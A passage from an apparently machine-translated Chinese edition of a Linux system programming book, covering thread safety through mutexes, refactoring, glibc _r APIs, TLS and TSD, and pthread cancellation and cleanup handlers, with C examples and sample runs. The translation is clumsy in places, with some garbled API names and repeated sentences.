-为此,我们在以下代码片断中向 Sample 函数添加了 pthread 互斥锁(我们适当地将其重命名;在此处可以找到完整的源代码:`ch16/mt_iobuf_mtx.c`): - -```sh -static void testit_mt_mtx(FILE * wrstrm, FILE * rdstrm, int numio, - int thrdnum) -{ - ... - for (i = 0; i < numio; i++) { - LOCK_MTX(&mylock); - fnr = fread(gbuf, 1, NREAD, rdstrm); - UNLOCK_MTX(&mylock); - if (!fnr) - FATAL("fread on /dev/urandom failed\n"); - - LOCK_MTX(&mylock); - if (!fwrite(gbuf, 1, fnr, wrstrm)) { - free(gbuf); - UNLOCK_MTX(&mylock); - if (feof(wrstrm)) - return; - if (ferror(wrstrm)) - FATAL("fwrite on our file failed\n"); - } - UNLOCK_MTX(&mylock); - } -} -``` - -这里,我们使用与在中相同的宏来执行互斥锁和解锁(为避免重复,我们没有显示初始化互斥锁的代码,有关这些详细信息,请参阅[第 15 章](15.html),*使用 PthreadsII 多线程第 II 部分-同步**,*。 我们还向函数添加了额外的`thrdnum`*和*参数,以便能够打印出当前通过它运行的线程号。) - -关键点:在关键部分-代码中访问(读取或写入)共享的可写全局变量的位置`gbuf`*-*,我们获取互斥锁,执行访问(在我们的示例中,是在`fread(3)`*、*和`fwrite(3)`),然后解锁互斥锁。 - -现在,即使多个线程运行前面的函数,也不会出现数据完整性问题。 是的,它可以工作,但要付出相当大的性能代价;如前所述,每个临界区(解锁代码和相应解锁之间的代码)都将被序列化。 因此,锁定可能会在代码路径中形成瓶颈,特别是在我们的示例中,如果`numio`参数很大,那么 For 循环将执行一段时间。 同样,如果函数很忙并且经常被调用,也会出现瓶颈。 (快速检查`perf(1)`发现,单线程版本执行 100,000 个 I/O 需要 379 毫秒,而具有锁定功能的多线程版本执行相同数量的 I/O 需要 790 毫秒。) - -我们已经讨论了这一点,但让我们快速测试一下自己:为什么我们没有保护代码中使用`fnr`和`syscalls`等变量的位置? 答案是因为它是一个完全局部变量;更重要的是,每个线程在执行前面的函数时都会得到自己的局部变量副本,因为每个线程都有自己的私有堆栈-并且局部变量在堆栈上实例化。 - -要使程序正常工作,我们必须重构如何将前面的函数实际设置为线程工作者例程;我们发现需要使用自定义数据结构将各种参数传递给每个线程,然后使用一个小的`wrapper`函数-`wrapper_testit_mt_mtx()`-调用实际的 I/O 函数;我们让读者详细检查源代码。 - -让我们运行它: - -```sh -$ ./mt_iobuf_mtx 10000 -./mt_iobuf_mtx: using default stdio IO RW buffers of size 4096 bytes; # IOs=10000 -mt_iobuf_mtx.c:testit_mt_mtx:62: [Thread #0]: numio=10000 total rdwr=5120000 expected # rw syscalls=1250 -mt_iobuf_mtx.c:testit_mt_mtx:66: gbuf = 0x23e2670 -mt_iobuf_mtx.c:testit_mt_mtx:62: [Thread #1]: numio=10000 total rdwr=5120000 expected # rw syscalls=1250 -mt_iobuf_mtx.c:testit_mt_mtx:66: gbuf = 0x23e2670 - Thread #0 successfully joined; it terminated with status=0 - Thread #1 successfully joined; it terminated with status=0 -$ -``` - -这揭示了全貌;显然,正在使用的 I/O 缓冲区(Gbuf)对于两个线程是相同的(请看打印出的地址),因此需要锁定它。 - -顺便说一句,在标准文件流 API 中,存在*_ 解锁的*_ 个 API,如`fread_unlocked(3)`和`fwrite_unlocked(3)`。这些 API 与常规 API 相同,只是在文档中被明确标记为 MT-不安全。 使用它们是不明智的。 - -By the way, open files are a shared resource between the threads of a process; the developer must take this into account as well. Performing IO simultaneously with multiple threads on the same underlying file object can cause corruption, unless file-locking techniques are used. Here, in this specific case, we are explicitly using a mutex lock to protect critical sections – which happen to be at the precise points where we perform file I/O, so explicit file-locking becomes unnecessary. - -# 通过函数重构实现线程安全 - -正如我们在前面的示例中看到的那样,我们需要互斥锁,因为所有应用线程都将`gbuf`的全局缓冲区用作它们的 I/O 缓冲区。 那么,想想看:如果我们可以为每个线程分配一个本地的 I/O 缓冲区,会怎么样?这确实可以解决这个问题! 具体如何,将用以下代码显示。 - -但首先,既然您已经熟悉了前面的示例(我们在其中使用了互斥锁),那么我们来研究一下重构后的程序的输出结果: - -```sh -$ ./mt_iobuf_rfct 10000 -./mt_iobuf_rfct: using default stdio IO RW buffers of size 4096 bytes; # IOs=10000 -mt_iobuf_rfct.c:testit_mt_refactored:51: [Thread #0]: numio=10000 total rdwr=5120000 expected # rw syscalls=1250 - iobuf = 0x7f283c000b20 -mt_iobuf_rfct.c:testit_mt_refactored:51: [Thread #1]: numio=10000 total rdwr=5120000 expected # rw syscalls=1250 - iobuf = 0x7f2834000b20 - Thread #0 successfully joined; it terminated with status=0 - Thread #1 successfully joined; it terminated with status=0 -$ -``` - -关键字*和*实现:这里使用的 I/O 缓冲区`iobuf`、*和*对于每个线程都是唯一的(只需查看打印出来的地址)! 因此,这消除了 I/O 函数中的临界区,并且不需要使用互斥锁。 实际上,该函数仅使用局部变量,因此既是可重入的,又是线程安全的。 - -For readability, only key parts of the source code are displayed here. To view the complete source code, build and run it; the entire tree is available for cloning from GitHub: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -以下代码片段清楚地揭示了这是如何设置的(完整源代码:`ch16/mt_iobuf_rfct.c`): - -```sh -struct stToThread { - FILE *wrstrm, *rdstrm; - int thrdnum, numio; - char *iobuf; -}; -static struct stToThread *ToThread[NTHREADS]; -static void * wrapper_testit_mt_refactored(void *msg) -{ - struct stToThread *pstToThread = (struct stToThread *)msg; - assert (pstToThread); - - /* Allocate the per-thread IO buffer here, thus avoiding the global - * heap buffer completely! */ - pstToThread->iobuf = malloc(NREAD); - ... - testit_mt_refactored(pstToThread->wrstrm, pstToThread->rdstrm, - pstToThread->numio, pstToThread->thrdnum, - pstToThread->iobuf); - - free(pstToThread->iobuf); - pthread_exit((void *)0); -} -``` - -可以看到,我们通过在自定义的`stToThread`*和*结构中添加一个额外的缓冲区指针成员来进行重构。 重要的是:在线程包装器函数中,我们然后为其分配内存,并将指针传递给我们的线程例程。 为此,我们在线程 I/O 例程中添加了一个额外的参数: - -```sh -static void testit_mt_refactored(FILE * wrstrm, FILE * rdstrm, int numio, int thrdnum, char *iobuf) -{ -... - for (i = 0; i < numio; i++) { - fnr = fread(iobuf, 1, NREAD, rdstrm); - if (!fnr) - FATAL("fread on /dev/urandom failed\n"); - if (!fwrite(iobuf, 1, fnr, wrstrm)) { - ... - } -``` - -现在,在前面的 I/O 循环中,我们对每个线程的缓冲区`iobuf`*和*进行操作,因此没有临界区,也不需要锁定。 - -# 标准 C 库与线程安全性 - -大量的标准 C 库(Glibc)代码不是线程安全的。 什么? 一个人问。 但是,嘿,这些代码中的很多都是在 20 世纪 70 年代和 80 年代编写的,当时多线程还不存在(至少对于 Unix 是这样);因此,我们很难责怪他们没有将其设计为线程安全的! - -# 无需线程安全的 API 列表 - -标准的 C 库,Glibc,有很多旧的函数,用 The Open Group 的手册的话说,这些函数不需要是线程安全的(或者不需要是线程安全的)。 本卷 POSIX.1-2017 定义的所有函数都应是线程安全的,但以下函数不必是线程安全的除外。 那到底是什么意思? 简单:这些 API 不是线程安全的。 因此,请小心-不要在 MT 应用中使用它们。完整的列表可以在以下位置找到:[http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html#tag_15_09_01](http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2_chap02.html#tag_15_09_01)。 - -Of course, the preceding list is only valid as of POSIX.1-2017 and is bound to get outdated. The reader must be aware of this recurring issue, and the need to constantly update information like this. - -而且,它们大多是库层(Glibc)API*。在前面的所有 API 中,只有一个(`readdir(2)`)是系统调用;这也被认为是不推荐使用的(我们将使用它的 glibc 包装器`readdir(3)`)。根据经验,所有的系统调用都被编写为线程安全的。* - -An interesting aside: PHP, a popular web-scripting language, is not considered thread-safe; hence, web servers that serve PHP pages do so using the traditional multiprocess model and not a faster multithreaded framework (for example, Apache uses its internal `mpm_prefork` module—which is single-threaded – to deal with PHP pages). - -那么,看到我们刚才讨论的内容,是不是有人得出结论说,开发线程安全的 MT 应用,Glibc 已经不可行了呢? 没有,先生,我们已经做了一些工作来转换(实际上是重构)前面的许多 API,使它们成为线程安全的。 继续读下去。 - -# 将 glibc API 从 Ffoo_r 重构到 Ffoo_r - -当然,在 MT 应用成为现实的今天,我们该怎么办? Glibc 的维护人员理解这些问题,并准确地使用了重构*和*技术-通过传递额外的参数来避免使用全局和/或静态变量(就像我们以前对`ch16/mt_iobuf_rfct.c`代码所做的那样),包括使用参数作为返回值-重构标准的`glibc`函数以使其成为线程安全的。 Glibc 的命名约定是,如果较旧的函数被命名为`foo`,那么重构后的、通常是可重入的、线程安全的版本则被命名为`foo_r`。 - -为了帮助澄清这一讨论,让我们举一个同时具有较旧的`foo`和较新的`foo_r`功能的 Winlibc API 的例子。`ctime(3)`API 通常由应用开发人员使用;给定 Unix 时间戳后,它会将其转换为人类可读的日期-时间戳(ASCII 文本)。在给定 Unix-Time 时间戳的情况下,它会将其转换为人类可读的日期-时间戳(ASCII 文本)。 (回想一下,我们在[第](13.html)[章](13.html)、*和计时器中使用过`ctime `API。* )让我们直接从[Chaptr 13](13.html),*个计时器中回想一下,*个 Unix 系统将时间存储为自 1970 年 1 月 1 日午夜(00:00)以来经过的秒数--就当这是 Unix 的诞生吧! 此时间值称为自大纪元或 Unix 时间以来的时间。 好的,但是今天会有相当多的秒数,对吗? 那么如何用人类可读的格式来表达呢? 很高兴您这么问;这不是`ctime(3)`应用接口和`ctime_r(3)`API 的工作。 - -`ctime(3)`系列 API 签名如下: - -```sh -include -char *ctime(const time_t *timep); -``` - -您是否发现了多线程应用的问题? 返回值是以纯 ASCII 文本表示的时间;它由`ctime(3)`函数存储在静态(因此,共享)数据变量中。 如果多个线程或多或少同时执行`ctime(3)`命令(我的朋友,这正是现代多核系统上可以发生的,而且确实发生了!),那么我们总是存在对共享数据执行脏读或写的风险。 很简单,因为它没有受到保护;很简单,因为在第一次设计和实现`ctime(3)`时,只有一个线程会在给定的时间点运行它。 当然,今天的情况并非如此。 换句话说,手册页中将`ctime(3)`标记为 MT-不安全,也就是说,它不是线程安全的。 因此,从 MT 应用调用`ctime(3)`命令是错误的-您可能会面临竞争、错误或缺陷的风险。 - -优秀的 Glibc 人员确实重新实现(重构)了`ctime(3)`,使其成为可重入的和线程安全的;较新的 API 被命名为`ctime_r(3)`。 下面引用它的手册页中的一句话:可重入版本`ctime_r()`做同样的事情,但将字符串存储在用户提供的缓冲区中,该缓冲区应该至少有 26 个字节的空间: - -```sh -char *ctime_r(const time_t *timep, char *buf); -``` - -好极了! 您注意到了吗?这里最关键的一点是,通过让用户提供返回结果的缓冲区,`ctime(3)`的 API 已经被重构(并重命名为`ctime_r(3)`),从而变得更具可重入性和线程安全性。 用户将如何执行此操作? 很简单;下面的一些代码展示了实现这一点的一种方法(我们只需要这里的概念,没有显示错误检查): - -```sh -// Thread Routine here -struct timespec tm; -char * mybuf = malloc(32); -... -clock_gettime(CLOCK_REALTIME, &tm); /* get the current 'UNIX' timestamp*/ -ctime_r(&tm.tv_sec, mybuf); /* put the human-readable ver into 'mybuf'*/ -... -free(mybuf); -``` - -想想看:每个执行前面代码的线程都会分配一个单独的唯一缓冲区,并将该缓冲区指针传递给`ctime_r(3)`例程。 这样,我们就可以确保不会互相踩到对方的脚趾;API 现在是可重入的,并且是线程安全的。 - -请注意,在前面的代码中,我们是如何在 C 中实现这种重构技巧的:通过传递要作为值结果样式参数写入的唯一缓冲区!*这确实是一种常见的技术,经常被 Flibc`foo_r`函数例程使用:我们通过不使用静态或全局变量(而不是使用值结果样式参数(或输入输出))将一个或多个值传递给它(甚至作为一种返回值返回给调用者),从而保持例程的线程安全。 - -`ctime(3)`上的手册页,甚至大多数其他 API 上的手册页,都记录了它描述的 API 是否是线程安全的:这一点非常重要! 我们不能过分强调这一点:多线程应用程序员必须检查并确保在应该是线程安全的函数中调用的所有函数本身都是线程安全的(记录在案)。 - -以下是`ctime(3)`上手册页的一部分屏幕截图,在**Attributes**部分下面显示了以下信息: - -![](img/624d94f5-2e34-4d0a-bfea-a95243a043eb.png) - -Figure 1 : Screenshot of ATTRIBUTES section of the man page on ctime(3) - -很明显,MT-SAFE 暗示例程是线程安全的;而 MT-UNSAFE 暗示它不是。关于这些属性的手册页(7)将进一步深入这些细节;它清楚地指出线程安全并不能保证 API 也是原子的;一定要通读它。 - -我们还注意到手册页指出,POSIX.1-2008 将`ctime_r`API 本身标记为过时,并使用`strftime(3)`代替它。 请这样做。 在这里,我们使用了`ctime(3)`和`ctime_r(3)`API 仅仅是为了说明一个关于 glibc 例程的线程不安全和安全版本的示例。 - -# 一些使用 libc、foo 和 foo_r 的 API - -线程不安全的`ctime(3)`现在被其线程安全的对应对象`ctime_r(3)`所取代;这只是现代 glibc 中普遍趋势的一个例子: - -* 较旧的线程(MT-UNSAFE)不安全函数称为`foo` -* 有一个对应的版本,即更新的线程(MT-Safe)安全 API`foo_r`。 - -为了让读者了解这一点,我们列举了一些(不是全部!)。 关于 API 的 Glibc`foo_r`风格: - -| `asctime_r(3)` -`crypt_r(3)` -`ctime_r(3)` -`drand48_r(3)` | `getpwnam_r(3)` -`getpwuid_r(3)` -`getrpcbyname_r(3)` -`getrpcbynumber_r(3)` -`getrpcent_r(3)` -`getservbyname_r(3)` | `seed48_r(3)` -`setkey_r(3)` -`srand48_r(3)` -`srandom_r(3)` -`strerror_r(3)` -`strtok_r(3)` | -| `getdate_r(3)` -`getgrent_r(3)` -`getgrgid_r(3)` -`getgrnam_r(3)` -`gethostbyaddr_r(3)` -`gethostbyname2_r(3)` -`gethostbyname_r(3)` -`gethostent_r(3)` -`getlogin_r(3)` | `nrand48_r(3)` -`ptsname_r(3)` -`qecvt_r(3)` -`qfcvt_r(3)` -`qsort_r(3)` -`radtofix_r(3)` -`rand_r(3)` -`random_r(3)` -`readdir_r(3)` | `ustrtok_r(3)` -`val_gethostbyaddr_r(3)` -`val_gethostbyname2_r(3)` -`val_gethostbyname_r(3)` | - -Table 3: Some of the glibc foo_r APIs - -此列表并不是详尽的;请注意,`ctime_r(3)`API 代码在此列表中。 冒着重复的风险,请确保您只在 MT 应用中使用`foo_r`版本的 API,因为它们是`foo`版本 API 的线程安全版本。 - -# 通过 TLS 实现线程安全 - -前面的讨论是关于已经存在的标准 C 库,即 Glibc 和它的 API 集。 新设计和开发的 MT 应用怎么样? 显然,我们为它们编写的代码必须是线程安全的。 - -让我们不要忘记我们是如何通过重构来使我们的`testit_mt_refactored`函数成为线程安全的-添加一个沿着缓冲区的地址传递以用于 I/O 的`iobuf`参数-保证缓冲区对于每个线程都是唯一的,因此是线程安全的(不需要任何锁定)。 - -我们能自动获得这样的功能吗? 嗯,是的:编译器(GCC 和叮当)并没有提供一个近乎神奇的功能来做类似的事情:tls。 使用 TLS,每个激活的线程都会实例化一次标记有`__thread`特殊存储类关键字的变量。实际上,如果我们只使用局部变量和 TLS 变量,我们的函数根据定义将是线程安全的,不需要任何(昂贵的)锁定。 - -这里确实存在一些基本规则和注意事项;让我们来看看这些规则和注意事项: - -* 关键字`__thread`可以单独使用,也可以与(事实上,仅与)`static`或`extern`关键字一起使用;如果与它们一起使用,则必须出现在它们之后: - -```sh -__thread long l; -extern __thread struct MyStruct s1; -static __thread int safe; -``` - -* 更广泛地说,可以针对任何全局和文件或函数作用域`static`或`extern`变量指定关键字。 它不能应用于任何局部变量。 -* TLS 只能在(相当新的)工具链和内核版本上使用。 - -需要理解的重要事情是:尽管它看起来类似于拥有一个锁定的变量,但情况肯定不是这样的! 考虑一下:给定一个名为`mytls`的 TLS 变量,不同的线程并行使用它就可以了。 但是,如果线程在 TLS 变量`&mytls`上使用 Address-Of 运算符,它将拥有该变量的实例地址。 任何其他线程,如果访问此地址,都可以使用此地址来访问变量;因此,它并不是真正意义上的锁定。 当然,如果程序员使用正常约定(不允许其他线程访问不同线程的 TLS 变量),那么一切都会正常工作。 - -重要的是要认识到,TLS 支持只在 Linux2.6 内核、GCC 3.3 版或更高版本以及 NPTL 之后才可用。 实际上,这意味着几乎所有较新的 Linux 发行版都将支持 TLS。 - -因此,像往常一样,让我们通过 TLS 移植我们的线程不安全函数,使其成为线程安全函数。 这真的很简单;我们所要做的就是将以前的全局缓冲区`gbuf`转换成线程安全的 TLS 缓冲区(`iobuf`): - -```sh -static __thread char iobuf[NREAD]; // our TLS variable - -static void testit_mt_tls(FILE * wrstrm, FILE * rdstrm, int numio, int thrdnum) -{ - int i, syscalls = NREAD*numio/getpagesize(); - size_t fnr=0; - - if (syscalls <= 0) - syscalls = 1; - VPRINT("[Thread #%d]: numio=%d total rdwr=%u expected # rw - syscalls=%d\n" - " iobuf = %p\n", thrdnum, numio, NREAD*numio, syscalls, iobuf); -... -``` - -需要注意的唯一重要变化是现在将参数`iobuf`变量声明为 TLS 变量;其他所有内容几乎保持不变。 快速测试运行确认每个线程都收到一个单独的 TLS 变量副本: - -```sh -$ ./mt_iobuf_tls 12500 -./mt_iobuf_tls: using default stdio IO RW buffers of size 4096 bytes; # IOs=12500 -mt_iobuf_tls.c:testit_mt_tls:48: [Thread #0]: numio=12500 total rdwr=6400000 expected # rw syscalls=1562 - iobuf = 0x7f23df1af500 -mt_iobuf_tls.c:testit_mt_tls:48: [Thread #1]: numio=12500 total rdwr=6400000 expected # rw syscalls=1562 - iobuf = 0x7f23de9ae500 - Thread #0 successfully joined; it terminated with status=0 - Thread #1 successfully joined; it terminated with status=0 -$ -``` - -每个线程`iobuf`都是一个每个线程的 TLS 实例;每个实例都有一个唯一的地址。 没有锁,没有大惊小怪,任务完成了。 TLS 在现实世界中的使用率很高;未初始化的全局进程`errno`就是一个很好的例子。 - -TLS 似乎是一种使函数线程安全的强大且易于使用的技术;有什么缺点吗? 嗯,想想看: - -* 对于每个标记为 TLS 存储类的变量,必须在运行时为每个活动的线程分配内存;如果我们有很大的 TLS 缓冲区,这可能会导致分配大量内存。 -* 平台支持:如果您的 Linux 平台太旧,将不支持它(通常不应该是这样)。 - -# 通过 TSD 实现线程安全 - -在我们刚刚看到的 TLS 技术之前(也就是在 Linux2.6 和 GCC 3.3 之前),如何保证编写一个新的 API 是线程安全的呢? 还有一种更古老的技术,叫做 TSD。 - -简而言之,从应用开发人员的角度来看,TSD 是一个更复杂的解决方案--要实现 TLS 如此轻松地给我们带来的最终结果--使函数线程安全,还需要做更多的工作。 - -使用 TSD,线程安全例程必须调用初始化器函数(通常使用`pthread_once(3)`完成),该函数创建唯一的线程特定的数据键(使用`pthread_key_create(3)`API)。 此初始化式例程使用`pthread_getspecific(3)`和`pthread_setspecific(3)`API 将线程特定的数据变量(如我们示例中的`iobuf`缓冲区指针)与该键相关联。 最终结果是数据项现在是特定于线程的,因此是线程安全的。 在这里,我们不再深入研究使用 TSD,因为它是一个较旧的解决方案,在现代 Linux 平台上可以轻松优雅地取代 TLS。 不过,对于感兴趣的读者,请参考 GitHub 存储库的*进一步阅读*部分-我们提供了使用 TSD 的链接。 - -# 线程取消和清理 - -Pthread 设计为实现健壮的多线程应用的另外两个关键活动提供了一个复杂的应用框架:能够让应用中的线程取消(有效地杀死)另一个线程,并且能够让正常终止(通过线程`pthread_exit(3)`)或异常终止(通过取消)的线程能够执行所需的资源清理。 - -以下各节将介绍这些主题。 - -# 取消线程 - -可视化正在运行的 GUI 应用;它会弹出一个对话框,通知用户它现在正在执行某些工作(可能还会显示一个进度条)。 我们设想这项工作是由整个应用流程的一个线程执行的。 为了方便用户,还提供了一个 Cancel 按钮;单击它应该会导致 ongoimg 工作被取消。 - -我们怎样才能实现这一点呢? 换句话说,一个人如何杀死一条线? 首先要注意的是,pthreads 为这种类型的操作提供了一个框架:线程取消。 取消线程并不等同于向其发送信号;它是一个线程请求另一个线程终止的一种方式。要实现这一点,我们需要理解并遵循提供的框架。 - -# 线程取消框架 - -为了帮助提高清晰度,让我们举个例子:假设应用的第一个主线程创建了两个工作线程 A 和 B。现在,第二个主线程想要取消线程 A。 - -在目标线程(此处为 A)上请求取消的 API 如下: - -`int pthread_cancel(pthread_t thread);` - -第一个`thread`参数是目标线程-我们(礼貌地)请求请您去死,非常感谢。 - -但是,您已经猜到了,事情并没有那么简单:目标线程有两个属性(可以设置),它们决定是否取消以及何时取消: - -* 可取消状态 -* 可消除性类型 - -# 可取消状态 - -要求目标线程处于适当的可取消状态。 状态为布尔-可取消(在目标线程上,A)为*启用*或*禁用*;以下是设置此状态的 API: - -`int pthread_setcancelstate(int state, int *oldstate);` - -线程的两种可能的可取消状态(作为第一个参数提供的值)如下所示: - -* `PTHREAD_CANCEL_ENABLE`设置(创建时默认) -* `PTHREAD_CANCEL_DISABLE` - -显然,前一个可取消状态将在第二个参数`oldstate`中返回。)。 仅当目标线程的可取消状态为已启用时,才能取消该目标线程。 默认情况下,线程的可取消状态在创建时处于启用状态。 - -这是该框架的一个强大特征:如果目标线程 A 正在执行关键活动,并且甚至不想被考虑取消,则它仅将其当前可取消状态设置为禁用,并且在完成所述关键活动后将其重置为启用。 - -# 可取消类型 - -假设目标线程启用了可取消状态是第一步;线程的可取消类型决定了接下来会发生什么。 可取消类型有两种:延迟(默认)和非异步,当线程的可取消类型为非异步时,可以在任何时间点取消(实际上应该立即发生,但并不总是保证会发生);如果可取消类型是延迟(默认),则只能在到达下一个取消点时才能取消(终止)。(如果线程的可取消类型是非异步的,则只能在到达下一个可取消点的时候才能取消(终止));如果线程的可取消类型是非异步的,则它可以在任何时间点被取消(实际上应该立即发生,但并不总是保证会发生)。 - -另一个取消点是(通常是阻塞的)函数列表(稍后将详细介绍)。 请记住,当目标线程(请记住,该线程处于 Enabled Cancelability 状态且延迟类型)在其代码路径中遇到下一个取消点时,它将终止。 - -以下是设置可取消类型的接口: - -`int pthread_setcanceltype(int type, int *oldtype);` - -作为第一个参数类型提供的值是两种可能的可取消类型,它们是: - -* `PTHREAD_CANCEL_DEFERRED`设置(创建时默认) -* `PTHREAD_CANCEL_ASYNCHRONOUS` - -显然,前一个可取消类型将在第二个参数`oldtype`中返回。 - -呼! 让我们尝试将此取消框架表示为流程图: - -![](img/39252ce8-4494-4e42-a3b2-73a52e05d354.png) - -Figure 2: Pthreads cancelation - -`pthread_cancel(3)`这是一个完全非阻塞的 API,我们的意思是,即使目标线程的可取消状态被关闭,或者目标线程的可取消状态被启用,但可取消状态类型被推迟,并且还没有到达取消点,虽然目标线程可能需要一些时间才能真正死亡,但是主线程的`pthread_cancel(3)`调用将返回成功(返回值`0`),这意味着取消请求已经成功排队。 - -在执行关键活动时短时间禁用 Cancelation 状态是可以的,但长时间禁用同样的状态可能会导致应用看起来没有响应。 - -为可取消类型使用最小的异步取值通常不是正确的做法。 为什么? 那么,线程究竟在什么时候被取消就成了一场竞赛;它是在分配某种资源(比如通过`malloc(3)`分配内存)之前还是之后呢? 在这种情况下,即使是一些清理处理程序也没有真正的用处。 此外,只有记录为异步-取消-安全的 API 才能以异步方式安全地取消;实际上,只有取消 API 本身很少。 出于这些原因,最好避免异步取消。 另一方面,如果线程主要受 CPU 限制(执行一些数学计算,比如素数生成),那么使用异步取消可以帮助保证线程在请求时立即死亡。 - -另一个关键点是:(在我们的示例中)主线程如何知道目标线程实际上已经终止了? 请记住,第一个主线程预计将在所有线程上加入;因此,目标线程在终止时将被加入,并且-事情是这样的-来自`pthread_join(3)`的返回值(状态)将是`PTHREAD_CANCELED`。`pthread_join(3)`是检查取消是否实际发生的唯一方法。 - -我们了解到,在(默认)取消类型为延迟的情况下,直到目标线程遇到取消点函数,才会发生实际的线程取消。 线程取消点只是一个 API,在该 API 处,线程取消被实际检测到,并由底层实现使其生效。 取消点并不局限于 pthread 和 API;许多新的 glibc 函数充当取消点。 读者可以通过 GitHub 存储库的*进一步阅读*部分中提供的链接(Open Group POSIX.1c 线程)找到取消点 API 的列表。 根据经验,取消点通常是阻塞库 API。 - -但是,如果线程正在执行的代码中没有取消点(比方说,CPU 限制的计算循环),该怎么办呢? 在这种情况下,两种方法中的任何一种都可以使用非异步取消类型,或者更好的方法是通过调用`void pthread_test_cancel(void);`API 在循环中显式引入保证取消点。 - -如果要取消的目标线程点击此函数,并且取消请求处于挂起状态,则它将终止。 - -# 取消线程-提供代码示例 - -下面是一个演示线程取消的简单代码示例;我们让第一个主线程创建两个工作线程(将它们分别视为线程 A 和线程 B),然后让第二个主线程取消线程 A。并行地,我们故意让线程 A 禁用取消(通过将取消状态设置为禁用),执行一些假工作(我们调用 Trusted`DELAY_LOOP`宏来模拟工作),然后重新启用取消。 取消请求在下一个取消点生效(当然,取消类型默认为“延迟”),在这里,它只是第一个`sleep(3)`取消的 API。在此,取消请求将在下一个取消点生效(当然,这是默认的取消类型),在这里,取消请求只是第一个`sleep(3)`取消 API。 - -演示线程取消(`ch16/cancelit.c`)*和*的代码如下。 - -For readability, only key parts of the source code are displayed here. To view the complete source code, build and run it. The entire tree is available for cloning from GitHub: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -在线程创建循环完成后,我们拿起`main`中的代码: - -```sh -int main(void) -{ -... - // Lets send a cancel request to thread A (the first worker thread) - ret = pthread_cancel(tid[0]); - if (ret) - FATAL("pthread_cancel(thread 0) failed! [%d]\n", ret); - - // Thread join loop - for (i = 0; i < NTHREADS; i++) { - printf("main: joining (waiting) upon thread #%ld ...\n", i); - ret = pthread_join(tid[i], (void **)&stat); - ... - printf("Thread #%ld successfully joined; it terminated with" - "status=%ld\n", i, stat); - if ((void *)stat == PTHREAD_CANCELED) - printf(" *** Was CANCELLED ***\n"); - } - } -``` - -以下是线程`worker`例程: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - int slptm=8, ret=0; - - if (datum == 0) { /* "Thread A"; lets keep it in a 'critical' state, - non-cancellable, for a short while, then enable - cancellation upon it. */ - printf(" worker #%ld: disabling Cancellation:" - " will 'work' now...\n", datum); - if ((ret = pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, NULL))) - FATAL("pthread_setcancelstate failed 0 [%d]\n", ret); - DELAY_LOOP(datum+48, 100); // the 'work' - printf("\n worker #%ld: enabling Cancellation\n", datum); - if ((ret = pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL))) - FATAL("pthread_setcancelstate failed 1 [%d]\n", ret); - } - - printf(" worker #%ld: will sleep for %ds now ...\n", datum, slptm); - sleep(slptm); // sleep() is a 'cancellation point' - printf(" worker #%ld: work (eyeroll) done, exiting now\n", datum); - - /* Terminate with success: status value 0. - * The join will pick this up. */ - pthread_exit((void *)0); -} -``` - -快速测试运行表明它确实起作用了;可以看到线程 A 已被取消。 我们建议您运行程序的调试版本,如下所示,这样就可以看到`DELAY_LOOP`宏的效果(否则,它几乎可以瞬间完成其工作,因为它几乎被编译器优化掉了): - -```sh -$ ./cancelit_dbg -main: creating thread #0 ... -main: creating thread #1 ... - worker #0: disabling Cancellation: will 'work' now... -0 worker #1: will sleep for 8s now ... -main: joining (waiting) upon thread #0 ... -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 - worker #0: enabling Cancellation - worker #0: will sleep for 8s now ... -Thread #0 successfully joined; it terminated with status=-1 - *** Was CANCELLED *** -main: joining (waiting) upon thread #1 ... - worker #1: work (eyeroll) done, exiting now -Thread #1 successfully joined; it terminated with status=0 - -main: now dying... Farewell! -$ -``` - -# 线程出口处的清理 - -考虑以下假设情况:一个线程获取一个互斥锁并分配一些堆内存。 显然,一旦它所在的临界区完成,我们预计它将释放堆内存并解锁互斥锁。 如果不进行此清理,将导致严重的(如果不是致命的)应用错误(缺陷),如内存泄漏或死锁。 - -但是,有人想知道,如果可怜的线程在释放和解锁之前被取消了怎么办? 这是有可能发生的,对吧? 不是的! 如果开发人员理解并使用 pthreads 框架提供的线程清理处理程序机制,就不会。 - -当线程终止时会发生什么情况? 以下步骤是 pthreads 清理框架的一部分: - -1. 弹出所有清理处理程序(与清理处理程序推送顺序相反) -2. 调用 TSD 析构函数(如果存在) -3. 这根线断了 - -这让我们看到了一个有趣的事实:pthread 框架为线程提供了一种有保证的方式,以确保它在终止之前会在自身清理之后-释放内存资源、关闭打开的文件等等。 - -程序员可以通过设置线程清理处理程序来处理所有这些情况-实际上是一种析构函数。清理处理程序是在线程被取消或以`pthread_exit(3)`终止时自动执行的函数;它是通过调用`pthread_cleanup_push(3)`的 API 来设置的: - -```sh -void pthread_cleanup_push(void (*routine)(void *), void *arg); -``` - -显然,前面例程的第一个参数是清理处理程序函数指针,换句话说,就是清理处理程序函数的名称。 第二个参数是要传递给处理程序函数的任何参数(通常是指向动态分配的缓冲区或数据结构的指针)。 - -反向语义是通过相应的清理弹出例程实现的;当被调用时,它从清理处理程序堆栈中弹出,从而以相反的顺序执行先前推入清理处理程序堆栈的清理处理程序: - -`void pthread_cleanup_pop(int execute);` - -还可以通过使用非零参数调用`thread_cleanup_pop(3)`API 来显式调用清理堆栈上最顶层的清理处理程序。 - -The POSIX standard maintains that the preceding pair of APIs—the push and pop cleanup handlers—can be implemented as macros that expand into functions; indeed, it seems to be implemented this way on the Linux platform. As a side effect of this, it becomes imperative that the programmer call both routines (the pair) within the same function. Failure to comply causes weird compiler failures. - -如前所述,TSD 析构函数处理程序(如果存在)也会被调用;在这里,我们忽略这一方面。 - -You might think, fine, if we use these cleanup handler techniques, we can safely restore state as both thread-cancelation and -termination will guarantee that they invoke any registered cleanup handlers (destructors). But, what if another process (perhaps a root process) sends my MT app a fatal signal (such as `kill -9 `)? Well, there's nothing to be done. Please realize that with a fatal signal, all threads in the process, and indeed the entire process itself, will die (in this example). It's an academic question—a moot point. On the other hand, a thread cannot just randomly get killed; there has to be an explicit `pthread_exit(3)` or cancelation carried out upon it. Thus, there is no 